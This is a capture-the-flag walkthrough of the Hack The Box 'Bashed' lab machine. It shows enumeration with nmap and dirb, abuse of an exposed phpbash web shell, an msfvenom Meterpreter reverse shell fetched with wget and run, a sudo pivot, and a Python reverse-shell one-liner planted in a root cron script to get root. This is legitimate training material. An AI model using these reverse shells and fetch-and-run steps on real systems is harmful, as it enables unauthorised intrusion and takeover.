Machine: https://app.hackthebox.com/machines/Bashed
I will skip the usual “add the host IP to /etc/hosts” etc etc etc…
Enumerate ports:
nmap -p- bashed.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 10:35 EST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.066s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open httpVisit the URL at http://bashed.htb/
Quickly enumerate using dirb:
$ dirb http://bashed.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Jan 9 10:36:05 2023
URL_BASE: http://bashed.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://bashed.htb/ ----
==> DIRECTORY: http://bashed.htb/css/
==> DIRECTORY: http://bashed.htb/dev/
...Take a wild guess and append /phpbash.php to /dev/, and voila:
User pwned.
PS: It is even easier if you click on the article link in the home page.
Onto r0ot!
First, let’s get a Meterpreter reverse shell to make out lives easier:
In Kali:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shelly.elf
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.68 - - [09/Jan/2023 10:47:32] "GET /shelly.elf HTTP/1.1" 200 -
$ msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > runIn http://bashed.htb/dev/phpbash.php:
www-data@bashed:/tmp# cd /tmp
www-data@bashed:/tmp# wget http://10.10.14.4/shelly.elf
--2023-01-09 07:47:43-- http://10.10.14.4/shelly.elf
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'shelly.elf'
0K 100% 996K=0s
2023-01-09 07:47:43 (996 KB/s) - 'shelly.elf' saved [250/250]
www-data@bashed:/tmp# chmod 755 shelly.elf
www-data@bashed:/tmp# ./shelly.elfBack in Kali:
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Sending stage (3045348 bytes) to 10.10.10.68
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.68:35560) at 2023-01-09 10:49:43 -0500
meterpreter > getuid
Server username: www-dataI can easily get root using the exploit/linux/local/bpf_sign_extension_priv_esc payload since this is a 5-year-old machine, but I want to look around for the intended path first.
After some digging around, I managed to escalate privileges as user scriptmanager:
$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
$ sudo -u scriptmanager bash -i
$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)When out of ideas, try linpeas.sh:
$ cd /tmp
$ wget http://10.10.14.4/linpeas.sh
$ chmod 755 linpeas.sh
$ ./linpeas.sh
Interesting, let’s investigate:
$ ls -hali /scripts
total 16K
34468 drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Jun 2 2022 .
2 drwxr-xr-x 23 root root 4.0K Jun 2 2022 ..
43823 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
34781 -rw-r--r-- 1 root root 12 Jan 9 08:19 test.txt
$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
$ cat test.txt
testing 123!text.txt has a very recent timestamp and is owned by root, which means root is likely executing test.py regularly. Let’s put a reverse shell in there (this time without Metasploit for the fun of it). Run this locally:
$ nc -lvnp 6666And on the remote machine as scriptmanager:
$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /scripts/test.py
$ cat /scripts/test.py
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")After a few seconds, we get a connection back from root and we find the flag:
$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 37194
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
c1d33e41205b2ee46a8cdaaf69d98a2cWhat did we learn from this machine? It pays off to fight the urge to use an easy exploit with Metasploit. This was undoubtedly a more exciting path.